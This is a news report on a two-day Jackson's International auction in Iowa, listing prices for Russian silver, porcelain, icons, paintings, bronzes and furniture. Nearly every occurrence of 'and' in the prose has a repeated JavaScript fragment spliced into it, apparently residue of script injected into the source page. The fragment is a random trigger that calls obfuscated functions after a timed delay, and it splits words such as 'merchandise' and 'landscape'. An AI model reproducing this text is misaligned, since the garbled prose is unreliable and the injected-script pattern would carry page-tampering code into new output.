CEDAR FALLS, IOWA — It was as if a volcano of bids abruptly erupted amid the windswept fields of northeast Iowa at Jackson’s International auction of world treasures November 19–20. The 900-lot auction saw participation from 33 countries comprising more than 600 registered bidders from around the globe andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and producing total sales right at $2 million.

The auction featured fresh-to-the-market merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise from a variety of family collections, including that of the late Laurence A. Steinhardt (1892–1950) who served as the United States ambassador to the Soviet Union from 1939 to 1942, as well as items from the collection of the estate of Dr Franz Julius Rose (1873–1975) a noted Russian doctor.

A highlight lot was a pair of Seventeenth Century Neapolitan oil on canvas paintings depicting “Lepers Attended by Angels.” The paintings, from a private collection in Chicago, Ill., attracted 12 European phone lines andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and three in the United States. Bidding opened at a modest $6,000, slowly climbing upwards with bidders dropping out andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and jumping in as the bidding moved higher andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and higher finally selling to a European phone bidder for $143,750.

The sale opened with imperial Russian items, a field in which Jackson’s has gained an international reputation. The first lot sold was a 14-inch engraved silver salver by Fabergé which sold to a buyer from Moscow for $21,250 followed by a 1749 dated silver engraved tankard that sold to an in-house bidder attending from St Petersburg, Russia, who paid $37,500. Also sold were a silver mounted leather folio by Faberge at $10,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Russian silver-plated copper punch bowl by Nicholas Poltavtsev for $3,750.

Russian imperial porcelain saw a great amount of interest, including an assembled group of six fairy tale plates by Kornilov Brothers, each measuring 10¼ inches in diameter, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorated with designs by Ivan Bilibin; with the group selling for an even $30,000. A set of eight dinner plates andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bowls from the service for the Order of Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Nevsky by the Imperial Porcelain factory sold for $27,500.

A small offering of Russian art was led by an 18-by-14-inch oil on canvas floral still life by Russian artist Konstantin Korovin that sold to a buyer from California for $62,500, followed by a modern still life composition by Dimitri Krasnopevtsev that realized $35,000.

Sales of Russian icons showed the trend of popularity for those finely painted examples produced at the very end of the Nineteenth Century andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and beginning of the Twentieth Century. A Russian icon of Christ, measuring about 10 by 9 inches, in the Neo Slavic style andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even with a later Art Nouveau style riza dated to circa 1900 (andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and later) sold for $27,500, while a 12-by-10-inch icon of Saint Nicholas, circa 1600, went out at $1,875.

Other icon sales of note include a large example of the Kazan Mother of God, 28 by 21 inches, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and overlaid with a silver riza dated 1843, which sold to a Moscow buyer for $35,000. A small but finely painted triptych icon of the Tikhvin Mother of God measuring 12 by 8½ inches went to an in-house bidder from Moscow for $25,000.

The highlight of the second session was the winter landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape by Nebraska artist Dale Nichols. The 30-by-40-inch oil on canvas went to a collector from Nebraska for $57,500. Other standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout paintings included a fresh-to-the-market oceanside landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape by California artist William Wendt that returned to California for $26,250.

Noteworthy bronzes, each fetching $25,000, were a bronze relief plaque by American sculptor Bela Lyon Pratt depicting a map of the United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and flanked by two American eagles, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and French sculptor Frederic Auguste Bartholdi’s reclining figure of Oceania.

The second session opened with Asian works, led by a floral still life oil on canvas by Vietnamese artist Le Pho that sold to a California buyer for $22,500, a smaller oil also by Pho that took $13,750, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an oil on canvas by fellow Vietnamese artist, Vu Cao Dam at $6,000.

Among furnishings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts were a George III tilt top table which hammered to a collector in Sydney, Australia, for $2,750. A small Chinese Chippendale-style Pembroke table went to a Midwest phone bidder for $3,000, while an English Chelsea porcelain botanical plate returned to Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and for $3,000. An unmarked slag glass floor lamp attributed to the Riviere Company sold over estimate at $9,375, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a modern Baker furniture dresser andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bed designed by Charles Pfister totaled $3,250.

All prices reported include the buyer’s premium. For information, 319-277-2256 or www.jacksonsauction.com.